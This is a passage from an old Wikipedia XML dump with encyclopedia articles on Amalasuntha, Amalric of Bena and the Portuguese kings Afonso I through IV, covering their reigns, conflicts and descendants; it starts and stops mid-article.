A daughter of Ostrogothic king [[Theodoric the Great]], she secretly married a slave named [[Traguilla]]. When her mother [[Audofleda]] found them together Traguilla was killed.

She was married in [[515]] to Eutharic, an Ostrogoth noble of the old Areal line, who had previously been living in [[Visigoth]]ic [[Iberian peninsula|Iberia]].  Her husband died, apparently in the early years of her marriage, leaving her with two children, [[Athalaric]] and [[Matasuentha]].  On the death of her father in [[526]], her son succeeded him, but she held the power as [[regent]] for her son.  Deeply imbued with the old Roman culture, she gave to that son's education a more refined and literary turn than suited the ideas of her Gothic subjects.  Conscious of her unpopularity she banished, and afterwards put to death, three Gothic nobles whom she suspected of intriguing against her rule, and at the same time opened negotiations with the emperor [[Justinian I]] with the view of removing herself and the Gothic treasure to [[Constantinople]]. Her son's death in [[534]] made little change in the posture of affairs.

Now queen, Amalasuntha made her cousin [[Theodahad]] partner of her throne (not, as sometimes stated, her husband, for his wife was still living), with the intent of strengthening her position.  The choice was unfortunate, for Theodahad, in spite of a varnish of literary culture, was a coward and a scoundrel.  He fostered the disaffection of the Goths, and either by his orders or with his permission, Amalasuntha was imprisoned on an island in the Tuscan lake of Bolsena, where in the spring of 535 she was murdered in her bath. 

The letters of [[Cassiodorus]], chief minister and literary adviser of Amalasuntha, and the histories of [[Procopius]] and [[Jordanes]], give us our chief information as to the character of Amalasuntha. 

==References==
*{{1911}}

[[Category:535 deaths]]
[[Category:Goths]]
[[Category:Regents]]
[[Category:Murdered royalty]]

[[de:Amalasuntha]]
[[ko:아말라순타]]
[[it:Amalasunta]]
[[nl:Amalasuntha]]
[[sv:Amalasuntha]]</text>
    </revision>
  </page>
  <page>
    <title>Amalric of Bena</title>
    <id>1656</id>
    <revision>
      <id>33241388</id>
      <timestamp>2005-12-30T11:18:54Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>wfy</comment>
      <text xml:space="preserve">'''Amalric''' (French '''Amaury''') '''of Bena''' (d.c. [[1204]]-[[1207]]) was a [[France|French]] [[theology|theologian]]. He was born in the latter part of the [[12th century]] at Bena, a village in the diocese of [[Chartres]].

He taught philosophy and theology at the university of Paris and enjoyed 
a great reputation as a subtle [[dialectic]]ian; his lectures developing the [[philosophy of Aristotle]] attracted a large circle of hearers.

In [[1204]] his doctrines were condemned by the university, and, on a personal appeal to [[Pope Innocent III]], the sentence was ratified, Amalric being ordered to return to Paris and recant his errors.

His death was caused, it is said, by grief at the humiliation to which he had been subjected.
In [[1209]] ten of his followers were burnt before the gates of Paris, and Amalric's own body was exhumed and burnt and the ashes given to the winds.

The doctrines of his followers, known as the [[Amalrician]]s, were formally condemned by the [[Fourth Council of the Lateran|fourth Lateran Council]] in 1215.

==Propositions==
Amalric appears to have derived his philosophical system from [[Johannes Scotus Erigena|Erigena]], whose principles he developed in a one-sided and strongly [[pantheist]]ic form.

Three propositions only can with certainty be attributed to him:

#that God is all;
#that every Christian is bound to believe that he is a member of the body of Christ, and that this belief is necessary for salvation;
#that he who remains in love of God can commit no sin.

These three propositions were further developed by his followers, who maintained that God revealed Himself in a threefold revelation, the first in Abraham, marking the epoch of the Father; the second in Christ, who began the epoch of the Son; and the third in Amalric and his disciples, who inaugurated the era of the [[Holy Ghost]].

Under the pretext that a true believer could commit no sin, the Amalricians indulged in every excess, and the sect does not appear to have long survived the death of its founder.

See [[W. Preger]], ''Geschichte der deutschen Mystik im Mittelalter'' (Leipzig, 1874, i. 167-173); [[Haureau]], ''Hist. de la phil. scol.'' (Paris, 1872); [[C. Schmidt]], ''Hist. de l'Eglise d'Occident itendant le moyen age'' (Paris, 1885); [[Hefele]], ''Conciliengesch.'' (2nd ed., Freiburg, 1886). 

==See also==
*[[Brethren of the Free Spirit]]

==References==
*{{1911}}
[[Category:Heretics]]
[[Category:Pantheism]]</text>
    </revision>
  </page>
  <page>
    <title>Afonso I of Portugal</title>
    <id>1657</id>
    <revision>
      <id>42026529</id>
      <timestamp>2006-03-03T08:13:56Z</timestamp>
      <contributor>
        <ip>83.55.255.157</ip>
      </contributor>
      <text xml:space="preserve">&lt;table border=1 cellpadding=2 cellspacing=0 align=right style=margin-left:1em&gt;
&lt;caption&gt;&lt;font size=&quot;+1&quot;&gt;'''Afonso I''' &lt;/font&gt;&lt;/caption&gt;
&lt;tr valign=top&gt;&lt;td style=background:#efefef; colspan=2 align=center&gt;[[Image:AfonsoI-P.jpg]]
&lt;tr valign=top&gt;&lt;td&gt;'''Reign'''&lt;td&gt;[[July 26]], [[1139]] - [[December 6]], [[1185]]
&lt;tr valign=top&gt;&lt;td&gt;'''Queen'''&lt;td&gt;[[Maud of Savoy]] ([[1125]]-[[1157]])
&lt;tr valign=top&gt;&lt;td&gt;'''Royal House'''&lt;td&gt;[[House of Burgundy]]
&lt;tr valign=top&gt;&lt;td&gt;'''Father'''&lt;td&gt;[[Henry, Count of Portugal]] ([[1066]]-[[1093]])
&lt;tr valign=top&gt;&lt;td&gt;'''Mother'''&lt;td&gt;[[Teresa of Leon]] ([[1080]]-[[1130]])
&lt;tr valign=top&gt;&lt;td&gt;'''Issue'''&lt;td&gt;[[Urraca of Portugal]] ([[1151]]-[[1188]])&lt;br&gt;[[Sancho I of Portugal]] ([[1154]]-[[1212]])&lt;br&gt;[[Teresa of Portugal (1157-1218)|Teresa of Portugal]] ([[1157]]-[[1218]])&lt;br&gt;[[Mafalda of Portugal (1148-1160)|Mafalda of Portugal]] (d. young)&lt;br&gt;Henrique (d. young)&lt;br&gt;João (d. young)&lt;br&gt;Sancha (d. young)&lt;br&gt;[[Urraca Afonso of Aveiro|Urraca Afonso]] (natural daughter)&lt;br&gt;[[Fernando Afonso, Constable of Portugal|Fernando Afonso]] (natural son)&lt;br&gt;[[Pedro Afonso, Grand-Master of the Order of Aviz|Pedro Afonso]] (natural son)&lt;br&gt;[[Afonso of Portugal, Master of the Order of Saint John of Rhodes|Afonso of Portugal]] (natural son)&lt;br&gt;[[Teresa Afonso]] (natural daughter)&lt;tr valign=top&gt;&lt;td&gt;'''Date of Birth'''&lt;td&gt;[[July 25]], [[1109]]
&lt;tr valign=top&gt;&lt;td&gt;'''Place of Birth'''&lt;td&gt;[[Guimarães]]
&lt;tr valign=top&gt;&lt;td&gt;'''Date of Death'''&lt;td&gt;[[December 6]], [[1185]]
&lt;tr valign=top&gt;&lt;td&gt;'''Place of Death'''&lt;td&gt;[[Coimbra]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=top&gt;&lt;td&gt;'''Place of Burial'''&lt;td&gt;[[Santa Cruz Monastery]] (Coimbra)
&lt;/table&gt; 

'''Afonso I of Portugal''' ([[English language|English]] ''Alphonzo'' or ''Alphonse''), more commonly known as '''Afonso Henriques''' ([[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|ɐ.'fõ.su e&amp;#771;.'ʁi.kɨʃ}}/), or also ''Affonso'' (Archaic Portuguese), ''Alfonso'' or ''Alphonso'' ([[Portuguese-Galician languages|Portuguese-Galician]]) or ''Alphonsus'' ([[Latin language|Latin]] version), ([[Guimarães]], [[1109]]?, traditionally [[July 25]] &amp;ndash; [[Coimbra]], [[1185]], [[December 6]]), also known as ''the Conqueror'' ([[Portuguese language|Port.]] ''o Conquistador''), was the first [[List of Portuguese monarchs|King of Portugal]], declaring his independence from [[Kingdom of León|León]].

==Life==
Afonso I was the son of [[Henry, Count of Portugal|Henry of Burgundy, Count of Portugal]] and [[Teresa of León]], the illegitimate daughter of King [[Alfonso VI of Castile|Alfonso VI of Castile and León]].  He was proclaimed King on [[July 26]] [[1139]], immediately after the [[Battle of Ourique]], and died on [[December 6]] [[1185]] in [[Coimbra]].

At the end of the [[11th century]], the [[Iberian Peninsula]] [[Politics|political]] agenda was mostly concerned with the ''[[Reconquista]]'', the driving out of the [[Muslim]] successor-states to the [[Caliph]]ate of [[Córdoba, Spain|Córdoba]] after its collapse. With European [[military]] [[Aristocracy|aristocracies]] focused on the [[Crusades]], Alfonso VI called for the help of the [[France|French]] [[nobility]] to deal with the [[Moors]]. In exchange, he was to give the hands of his daughters in wedlock to the leaders of the expedition and bestow royal privileges to the others. Thus, the royal heiress [[Urraca of Castile]] wedded [[Raymond of Burgundy]], younger son of the [[County of Burgundy|Count of Burgundy]], and her half-sister, princess [[Teresa of León]], wedded his cousin, another French crusader, [[Henry of Burgundy]], younger brother of the [[Duchy of Burgundy|Duke of Burgundy]], whose mother was daughter of the [[Count of Barcelona]]. Henry was made Count of Portugal, a burdensome [[earldom]] south of [[Galicia (Spain)|Galicia]], where Moorish incursions and attacks were to be expected. With his wife Teresa as co-ruler of Portugal, Henry withstood the ordeal and held the lands for his father-in-law.

From this wedlock several sons were born, but only one, '''Afonso Henriques''' (meaning &quot;Afonso son of Henry&quot;) thrived. The boy followed his father as '''Count of Portugal''' in [[1112]], under the tutelage of his mother. The relations between Teresa and her son Afonso proved difficult. Only eleven years old, Afonso already had his own political ideas, greatly different from his mother's. In [[1120]], the young [[prince]] took the side of the [[archbishop]] of [[Braga]], a political foe of Teresa, and both were exiled by her orders. Afonso spent the next years away from his own [[county]], under the watch of the bishop. In [[1122]] Afonso became fourteen, the adult age in the [[12th century]]. He made himself a [[knight]] on his own account in the [[Cathedral]] of [[Zamora]], raised an [[army]], and proceeded to take control of his lands. Near [[Guimarães]], at the [[Battle of São Mamede]] ([[1128]]) he overcame the troops under his mother's lover and ally Count [[Fernando Peres de Trava]] of [[Galicia (Spain)|Galicia]], making her his [[prison]]er and exiling her forever to a [[monastery]] in [[León, León|León]].  Thus the possibility of incorporating Portugal into a Kingdom of Galicia was eliminated and Afonso become sole ruler ('''Dux of Portugal''') after demands for independence from the county's people, church and nobles. He also vanquished [[Alfonso VII of Castile|Alfonso VII of Castile and León]], another of his mother's allies, and thus freed the county from political dependence on the crown of [[Kingdom of León|León]] and [[Castile]]. On [[April 6]], [[1129]], Afonso Henriques dictated the writ in which he proclaimed himself '''Prince of Portugal'''.

{{House of Burgundy}}

Afonso then turned his arms against the everlasting problem of the [[Moors]] in the south. His campaigns were successful and, on [[July 26]] [[1139]], he obtained an overwhelming victory in the [[Battle of Ourique]], and straight after was unanimously proclaimed '''King of Portugal''' by his [[soldier]]s. This meant that Portugal was no longer a vassal county of León-Castile, but an independent kingdom in its own right. Next, he assembled the first assembly of the estates-general at [[Lamego]], where he was given the [[Crown (headgear)|crown]] from the archbishop of [[Braga]], to confirm the independence. 

Independence, however, was not a thing a land could choose on its own. Portugal still had to be acknowledged by the neighbouring lands and, most importantly, by the [[Roman Catholic Church]] and the [[Pope]]. Afonso wedded [[Maud of Savoy|Mafalda of Savoy]], daughter of Count [[Amadeo III of Savoy]], and sent [[Ambassador|ambassador]]s to [[Rome]] to negotiate with the [[Pope]]. In Portugal, he built several monasteries and [[convent]]s and bestowed important privileges to [[religious order]]s. In [[1143]], he wrote to [[Pope Innocent II]] to declare himself and the kingdom servants of the Church, swearing to pursue driving the Moors out of the [[Iberian Peninsula|Iberian]] peninsula. Bypassing any king of Castile or León, Afonso declared himself the direct [[liege]]man of the [[Papacy]]. Thus, Afonso continued to distinguish himself by his exploits against the Moors, from whom he wrested [[Santarém, Portugal|Santarém]] and [[Lisbon]] in [[1147]] (see [[Siege of Lisbon]]). He also conquered an important part of the land south of the [[Tagus]] River, although this was lost again to the Moors in the following years. 

Meanwhile, King Alfonso VII of Castile (Afonso's cousin) regarded the independent ruler of Portugal as nothing but a rebel. Conflict between the two was constant and bitter in the following years. Afonso became involved in a [[war]], taking the side of the [[Aragon]]ese king, an enemy of Castile. To ensure the alliance, his son [[Sancho I of Portugal|Sancho]] was engaged to [[Dulce Berenguer]], sister of the [[Kings of Aragon|Count of Barcelona]], and princess of Aragon. Finally, in [[1143]], the [[Treaty of Zamora]] established peace between the cousins and the recognition by the Kingdom of Castile and León that Portugal was an independent kingdom.

[[Image:DAfonsoHenriques.jpg|thumb|left|Statue of Afonso Henriques in [[Guimarães]].]]
In [[1169]], Afonso was disabled in an engagement near [[Badajoz]] by a fall from his [[horse]], and made prisoner by the soldiers of the king of León. Portugal was obliged to surrender as his [[ransom]] almost all the conquests Afonso had made in Galicia in the previous years.

In [[1179]] the privileges and favours given to the Roman Catholic Church were compensated. In the [[papal bull]] ''Manifestis Probatum'', [[Pope Alexander III]] acknowledged Afonso as King and Portugal as an independent land with the right to conquer lands from the Moors. With this papal blessing, Portugal was at last secured as a country and safe from any Castilian attempts of annexation.

In [[1184]], in spite of his great age, he had still sufficient energy to relieve his son Sancho, who was besieged in [[Santarém, Portugal|Santarém]] by the Moors. He died shortly after, in [[1185]].

The Portuguese revere him as a hero, both on account of his personal character and as the founder of their [[nation]].

==Afonso's descendants==
Afonso married in 1146 Mafalda or [[Maud of Savoy]] ([[1125]]-[[1158]]), daughter of Amadeo III, Count of Savoy, and [[Mafalda of Albon]].

{| border=1 style=&quot;border-collapse: collapse;&quot;
|- bgcolor=cccccc
!Name!!Birth!!Death!!Notes
|-
|colspan=4|'''By [[Maud of Savoy]]''' ([[1125]]-[[1158]]; married in [[1146]])
|-
|Henrique||[[March 5]] [[1147]]||[[1147]]||&amp;nbsp;
|-
|Mafalda||[[1148]]||c. [[1160]]||&amp;nbsp;
|-
|[[Urraca of Portugal|Urraca]]||c. [[1151]]||[[1188]]||married to King [[Ferdinand II of León]]
|-
|[[Sancho I of Portugal|Sancho]]||[[1154]]||[[March 26]] [[1212]]||Succeeded him as 2nd [[List of Portuguese monarchs|King of Portugal]]
|-
|[[Teresa of Portugal (1157-1218)|Teresa]]||[[1157]]||[[1218]]||married to [[Philip I of Flanders]] and after his death to [[Eudes III of Burgundy]]
|-
|João||[[1160]]||[[1160]]||&amp;nbsp;
|-
|Sancha||[[1160]]||[[1160]]||&amp;nbsp;
|-
|colspan=4|'''By [[Elvira Gálter]]'''
|-
|[[Urraca Afonso, Lady of Aveiro|Urraca Afonso]]||c. [[1130]]||?||Natural daughter. Married Pedro Afonso Viegas. Lady of [[Aveiro]].
|-
|colspan=4|'''Other natural offspring'''
|-
|[[Fernando Afonso, Constable of Portugal|Fernando Afonso]]||c. [[1166]]||c. [[1172]]||High-General of the Kingdom ([[Constable of Portugal]])
|-
|[[Pedro Afonso, Master of Aviz|Pedro Afonso]]||c [[1130]]||[[1169]]||A.k.a. Pedro Henriques. 1st Grand-Master of the [[Order of Aviz]].
|-
|[[Afonso of Portugal, Master of the Order of Saint John of Rhodes|Afonso]]||c. [[1135]]||[[1207]]||11th Master of the [[Order of Saint John of Rhodes]].
|-
|[[Teresa Afonso]]||c. [[1135]]||?||Married Fernando Martins Bravo.
|}

==See also==
*[[Portugal]]
*[[History of Portugal]]
*[[Kings of Portugal family tree]]
*[[Timeline of Portuguese history]]
**[[Timeline of Portuguese history (Second County)|Second County of Portugal (11th to 12th Century)]]
**[[Timeline of Portuguese history (First Dynasty)|First Dynasty: Burgundy (12th to 14th Century)]]

{{s-start}}
{{s-hou|[[House of Burgundy]]|25 July|1109|6 December|1185|[[House of Capet]]}}
{{s-bef|before=[[Henry, Count of Portugal|Henrique]]}}
{{s-ttl|title=[[List of Portuguese monarchs|Count of Portugal]]|years=[[1112]]&amp;ndash;[[1139]]|regent1=[[Theresa, Countess of Portugal|Theresa]]|years1=[[1112]]&amp;ndash;[[1126]]}}
{{s-non|reason=Independence&lt;br/&gt;from [[Kingdom of León|León]]&amp;ndash;[[Castile]]}}
|-
{{s-new|reason=Independence&lt;br/&gt;from [[Kingdom of León|León]]&amp;ndash;[[Castile]]}}
{{s-ttl|title=[[List of Portuguese monarchs|Kings of Portugal]]|years=[[1139]]&amp;ndash;[[1185]]}}
{{s-aft|after=[[Sancho I of Portugal|Sancho I]]}}
{{end}}

==References==
*{{1911}}

[[Category:Portuguese monarchs]]
[[Category:1109 births]]
[[Category:1185 deaths]]

[[bg:Афонсу I (Португалия)]]
[[ca:Alfons I de Portugal]]
[[de:Alfons I. (Portugal)]]
[[eo:Afonso Henriques]]
[[es:Alfonso I de Portugal]]
[[fr:Alphonse Ier de Portugal]]
[[gl:D. Alfonso Henriques]]
[[ia:Afonso Henriques]]
[[it:Don Afonso Henriques]]
[[ja:アフォンソ1世 (ポルトガル王)]]
[[nl:Alfons I van Portugal]]
[[pl:Alfons I Zdobywca]]
[[pt:Afonso I de Portugal]]
[[ru:Афонсу I Завоеватель]]
[[sv:Alfons VI av Portugal]]
[[uk:Афонсо I (король Португалії)]]
[[zh:阿方索一世 (葡萄牙)]]</text>
    </revision>
  </page>
  <page>
    <title>Afonso II of Portugal</title>
    <id>1658</id>
    <revision>
      <id>41852524</id>
      <timestamp>2006-03-02T03:50:57Z</timestamp>
      <contributor>
        <ip>213.13.246.244</ip>
      </contributor>
      <text xml:space="preserve">{{House of Burgundy}}

[[Image:AfonsoII-P.jpg|left|Afonso II of Portugal]]

'''Afonso II of Portugal''' ([[Portuguese language|Portuguese]] [[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|ɐ.'fõ.su}}/; [[English language|English]] ''Alphonzo''), or ''Affonso'' (Archaic Portuguese), ''Alfonso'' or ''Alphonso'' ([[Portuguese-Galician languages|Portuguese-Galician]]) or ''Alphonsus'' ([[Latin language|Latin]] version), known as ''the Fat'' ([[Portuguese language|Port.]] ''o Gordo''), third [[List of Portuguese monarchs|king of Portugal]], was born in [[Coimbra]] on [[April 23]] [[1185]] and died on [[March 25]] [[1223]] in the same city. He was the second but eldest surviving son of [[Sancho I of Portugal]] by his wife, Dulce of Barcelona, princess of Aragon. Afonso succeeded his father in [[1212]].

As a king, Afonso II set a different approach of government. Hitherto, Sancho I his father and [[Afonso I of Portugal|Afonso I]] his grandfather, were mostly concerned with military issues either against the neighbouring [[Castile]] or against the [[Moors]] in the south. Afonso did not pursue territory enlargement policies and managed to insure peace with Castile during his reign. Despite this, some towns, like [[Alcácer do Sal]] in [[1217]], were conquered from the Moors by the particular initiative of noblemen. This does not mean that he was a weak or somehow cowardly man. The first years of his reign were marked instead by internal disturbances between Afonso and his brothers and sisters. The king managed to keep security within Portuguese borders only by outlawing and exiling his kin. 

Since military issues were not a government priority, Afonso established the state's administration and centralized power on himself. He designed the first set of Portuguese written laws. These were mainly concerned with [[private property]], civil [[justice]], and [[minting]]. Afonso also sent ambassadors to [[European]] kingdoms outside the [[Iberian Peninsula]] and began amiable [[trade|commercial]] relations with most of them. 

Other reforms included the always delicate matters with the pope. In order to get the independence of Portugal recognized by the popes, his grandfather, Afonso I, had to legislate an enormous amount of privileges to the Church. These eventually created a state within the state. With Portugal's position as a country firmly established, Afonso II endeavoured to weaken the power of the [[clergy]] and to apply a portion of the enormous revenues of the [[Catholic church]] to purposes of national utility. These actions led to a serious diplomatic conflict between the pope and Portugal. After being [[excommunicated]] for his audacities by [[Pope Honorius III]], Afonso II promised to make amends to the church, but he died in [[1223]] before making any serious attempts to do so. 

===Afonso's descendents===

Afonso married [[Urraca, princess of Castile]], daughter of [[Alfonso VIII of Castile|Alfonso VIII]], [[King of Castile]], and [[Leonora of Aquitaine]], in [[1208]].

{| border=1 style=&quot;border-collapse: collapse;&quot;
|- bgcolor=cccccc
!Name!!Birth!!Death!!Notes
|-
|colspan=4|'''By [[Urraca, princess of Castile|Urraca of Castile]]''' ([[1186]]-[[1220]]; married in [[1208]])
|-
|[[Sancho II of Portugal|Sancho II]]||[[September 8]] [[1207]]||[[January 4]] [[1248]]||Succeeded him as 4th [[King of Portugal]]
|-
|[[Afonso III of Portugal|Afonso III]]||[[May 5]] [[1210]]||[[February 16]] [[1279]]||Succeeded his brother Sancho as 5th [[King of Portugal]]
|-
|[[Leonor of Portugal (1211-1231)|Eleanor]]||[[1211]]||[[1231]]||Married King [[Valdemar III of Denmark]]
|-
|[[Ferdinand, Prince of Portugal (1217-1246)|Ferdinand]]||a. [[1217]]||c. [[1243]]||Lord of [[Serpa]]
|-
|Vicente||[[1219]]||[[1219]]||&amp;nbsp;
|-
|colspan=4|'''Natural offspring'''
|-
|[[João Afonso]]||?||[[1234]]||Natural son
|-
|[[Pedro Afonso]]||c. [[1210]]||?||Natural son
|}


===See also===
[[Kings of Portugal family tree]]

==References==
*{{1911}}

{{s-start}}
{{s-bef|before=[[Sancho I of Portugal|Sancho I]]}}
{{s-ttl|title=[[List of Portuguese monarchs|King of Portugal]]|years=[[1211]]&amp;ndash;[[1233]]}}
{{s-aft|after=[[Sancho II of Portugal|Sancho II]]}}

[[Category:1185 births]]
[[Category:1233 deaths]]
[[Category:Portuguese monarchs]]

[[ca:Alfons II de Portugal]]
[[de:Alfons II. (Portugal)]]
[[es:Alfonso II de Portugal]]
[[fr:Alphonse II de Portugal]]
[[pl:Alfons II (król Portugalii)]]
[[pt:Afonso II de Portugal]]
[[ru:Афонсу II]]
[[zh:阿方索二世 (葡萄牙)]]</text>
    </revision>
  </page>
  <page>
    <title>Afonso III of Portugal</title>
    <id>1659</id>
    <revision>
      <id>41657943</id>
      <timestamp>2006-02-28T21:21:44Z</timestamp>
      <contributor>
        <ip>72.224.95.121</ip>
      </contributor>
      <text xml:space="preserve">{{House of Burgundy}}

'''Afonso III of Portugal''' ([[Portuguese language|Portuguese]] [[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|ɐ.'fõ.su}}/; [[English language|English]] ''Alphonzo''), or ''Affonso'' (Archaic Portuguese), ''Alfonso'' or ''Alphonso'' ([[Portuguese-Galician languages|Portuguese-Galician]]) or ''Alphonsus'' ([[Latin language|Latin]]),  the ''Bolognian'' ([[Portuguese language|Port.]] ''o Bolonhês'') or the ''Brave'' ([[Portuguese language|Port.]] ''o Bravo''), the fifth [[List of Portuguese monarchs|king of Portugal]] ([[May 5]] [[1210]] in [[Coimbra]] &amp;ndash; [[February 16]] [[1279]] in [[Alcobaça]], [[Coimbra]] or [[Lisbon]]). He was the second son of King [[Afonso II of Portugal]] and his wife, [[Urraca of Castile]]; he succeeded his brother, King [[Sancho II of Portugal]] in [[1247]].

{| ALIGN=&quot;left&quot;
|-
| [[Image:AfonsoIII-P.jpg]]
|}

As the second son of King Afonso II of Portugal, Afonso was not expected to inherit the throne, which was destined to go to his brother Sancho. He lived mostly in [[France]], were he married Matilda, the heiress of [[Boulogne]], in [[1238]], thereby becoming [[Count of Boulogne]]. In [[1246]], conflicts between his brother, the king, and the church became unbearable. [[Pope Innocent IV]] then ordered Sancho II to be removed from the throne and be replaced by the Count of Boulogne. Afonso, of course, did not refuse the papal order and marched to Portugal. Since Sancho was not a popular king, the order was not hard to enforce; he was exiled to [[Castile]] and Afonso III became king in [[1247]]. To ascend the throne, he abdicated from the county of Boulogne and later ([[1253]]) divorced Matilda. In 1253 he married Brites (Beatrix), an illegitimate daughter of King [[Alfonso X of Castile]]. Determined not to commit the same mistakes as his brother, Afonso III paid special attention to what the middle class composed of merchants and small land owners had to say. In [[1254]], in the city of [[Leiria]], he held the first session of the ''[[Cortes Generales|Cortes]]'', a general assembly, comprised of the nobility, the middle class and representatives of all [[municipalities]]. He also made laws intended to restrain the upper classes from abusing the least favoured part of the population. Remembered as a notable administrator, Afonso III founded several towns, granted the title of city to many others and reorganized public administration. 

[[Image:EstatuaDAfonsoIIIFaro.JPG|thumb|left|Statue of Afonso III in [[Faro, Portugal|Faro]].]]

Secure on the throne, Afonso III then proceeded to make war with the [[Muslim]] communities that still thrived in the south. In his reign the [[Algarve]] became part of the kingdom following the capture of [[Faro, Portugal|Faro]]&amp;mdash;Portugal thus becoming the first Iberian kingdom to complete its ''[[Reconquista]]''. Following his success against the Moors, Afonso III had to deal with a political situation arising from the borders with Castile. The neighbouring kingdom considered that the newly acquired lands of Algarve should be Castilian, not Portuguese, which led to a series of wars between the countries. Finally, in [[1267]], a treaty was signed in [[Badajoz]], determining that the southern border between Castile and Portugal should be the River [[Guadiana]], as it is today.

===Afonso's marriages and descendants===
Afonso's first wife was [[Matilda II of Boulogne]], daughter of [[Renaud, Count of Dammartin]], and [[Ida of Boulogne]]. She had two sons but both died young (Roberto and an unnamed one). He divorced Matilda in [[1253]] and in the same year married [[Beatrix of Castile]], illegitimate daughter of [[Alfonso X of Castile|Alfonso X]], [[King of Castile]], and [[Maria de Guzman]].

{| border=1 style=&quot;border-collapse: collapse;&quot;
|- bgcolor=cccccc
!Name!!Birth!!Death!!Notes
|-
|colspan=4|'''By [[Matilda II of Boulogne]]''' (c. [[1202]]-[[1262]]; married in [[1216]])
|-
|Robert||[[1239]]||[[1239]]|| &amp;nbsp;
|-
|colspan=4|'''By [[Beatrix of Castile]]''' ([[1242]]-[[1303]]; married in [[1253]])
|-
|[[Branca of Portugal|Branca]]||[[February 25]] [[1259]]||[[April 17]] [[1321]]||Abbess of the Convent of Huelgas
|-
|Ferdinand||[[1260]]||[[1262]]||&amp;nbsp;
|-
|[[Dinis of Portugal|Denis]]||[[October 9]] [[1261]]||[[January 7]] [[1325]]||Succeeded him as 6th [[King of Portugal]]; Married Princess Isabel of Aragon
|-
|[[Afonso, Lord of Portalegre|Afonso]]||[[February 8]] [[1263]]||[[November 2]] [[1312]]||Lord of [[Portalegre]]. Married to Princess Violante Manoel of Castile (daughter of [[Juan Manuel of Castile]])
|-
|[[Sancha of Portugal (1264-1279)|Sancha]]||[[February 2]] [[1264]]||c. [[1302]]||&amp;nbsp;
|-
|[[Maria of Portugal (1264-1304)|Maria]]||[[November 21]] [[1264]]||[[June 6]] [[1304]]||Nun at the [[Santa Cruz Monastery|Convent of Saint John]] in [[Coimbra]]
|-
|Constance||[[1266]]||[[1271]]||&amp;nbsp;
|-
|Vincent||[[1268]]||[[1271]]||&amp;nbsp;
|-
|colspan=4|'''By [[Madragana|Madragana (Mor Afonso)]]''' (c. [[1230]]-?)
|-
|[[Martim Chichorro|Martim Afonso Chichorro]]||c. [[1250]]||a. [[1313]]||Natural son; Married Inês Lourenço de Valadres.
|-
|[[Urraca Afonso]]||c. [[1260]]||?||Natural daughter; Married twice: 1st to D. Pedro Anes de Riba Vizela, 2nd to João Mendes de Briteiros
|-
|colspan=4|'''By [[Maria Peres de Enxara]]''' (?-?)
|-
|[[Afonso Dinis]]||c. [[1260]]||a. [[1310]]||Natural son; Married to D. Maria Pais Ribeira, Lady of the House of Sousa.
|-
|colspan=4|'''Other natural offspring'''
|-
|[[Leonor Afonso, Countess of Neiva|Leonor Afonso]]||c. [[1250]]||[[1291]]||Natural daughter. Married twice: 1st to D. Estevão Anes de Sousa (without issue), 2nd to D. Gonçalo Garcia de Sousa, Count of [[Neiva]] (without issue).
|-
|[[Gil Afonso]]||[[1250]]||[[December 31]] [[1346]]||Natural son; Gentleman of the Order do Hospital. 
|-
|[[Fernando Afonso]]||?||?||Natural son; Gentleman of the Order do Hospital.
|-
|[[Rodrigo Afonso]]||[[1258]]||about [[May 12]] [[1272]]||Natural son; Prior of the city of [[Santarem]].
|-
|[[Leonor Afonso (nun)]]||?||[[1259]]||Natural daughter; Nun in the Monastery of Santa Clara of [[Santarem]].
|-
|[[Urraca Afonso]]||[[1250]]||[[November 4]] [[1281]]||Natural daughter; Nun in the Monastery of Lorvao.
|-
|[[Henrique Afonso]]||?||?||Natural son; Married to Inês (last name unknown).
|}

===See also=== 
[[Kings of Portugal family tree]]

{{s-start}}
{{s-bef|before=[[Sancho II of Portugal|Sancho II]]}}
{{s-ttl|title=[[List of Portuguese monarchs|King of Portugal]]|years=[[1248]]&amp;ndash;[[1279]]}}
{{s-aft|after=[[Denis of Portugal|Denis]]}}

==References==
*{{1911}}

[[Category:1210 births]]
[[Category:1279 deaths]]
[[Category:Portuguese monarchs]]

[[ca:Alfons III de Portugal]]
[[de:Alfons III. (Portugal)]]
[[es:Alfonso III de Portugal]]
[[fr:Alphonse III de Portugal]]
[[pl:Alfons III (król Portugalii)]]
[[pt:Afonso III de Portugal]]
[[ru:Афонсу III]]
[[zh:阿方索三世 (葡萄牙)]]</text>
    </revision>
  </page>
  <page>
    <title>Afonso IV of Portugal</title>
    <id>1660</id>
    <revision>
      <id>41696316</id>
      <timestamp>2006-03-01T03:01:50Z</timestamp>
      <contributor>
        <username>Sparklegurl32</username>
        <id>132183</id>
      </contributor>
      <minor />
      <comment>Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">{{House of Burgundy}}

'''Afonso IV of Portugal''' ([[Portuguese language|Portuguese]] [[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|ɐ.'fõ.su}}/; [[English language|English]] ''Alphonzo''), or ''Affonso'' (Archaic Portuguese), ''Alfonso'' or ''Alphonso'' ([[Portuguese-Galician languages|Portuguese-Galician]]) or ''Alphonsus'' ([[Latin language|Latin]]), ([[February 8]] [[1291]] &amp;ndash; [[May 28]] [[1357]]), known as ''the Brave'' ([[Portuguese language|Port.]] ''o Bravo''), was the seventh [[List of Portuguese monarchs|king of Portugal]] from [[1325]] until his death. He was the only legitimate son of [[Dinis of Portugal]] by his wife [[Elizabeth of Portugal|Elizabeth]].

[[Image:AfonsoIV-P.jpg|left|Afonso IV of Portugal]]

Afonso, born in [[Lisbon]], was his father's only legitimate son and the rightful heir to the Portuguese throne. However, he was not, according to several sources, Dinis' favourite son; his half-brother, the illegitimate [[Afonso Sanches]], enjoyed full royal favour. From early in life, the notorious rivalry led to several outbreaks of [[civil war]]. On [[January 7]], [[1325]], Afonso's father died and he became king, taking full revenge on his brother. His rival was sentenced to [[exile]] in [[Castile]], and stripped of all the lands and [[fiefdom]]s donated by their common father. Afonso Sanches, however, did not sit still. From Castile, he orchestrated a series of attempts to usurp the crown for himself. After a few failed attempts at invasion, both brothers signed a peace treaty, arranged by the Queen Isabella.

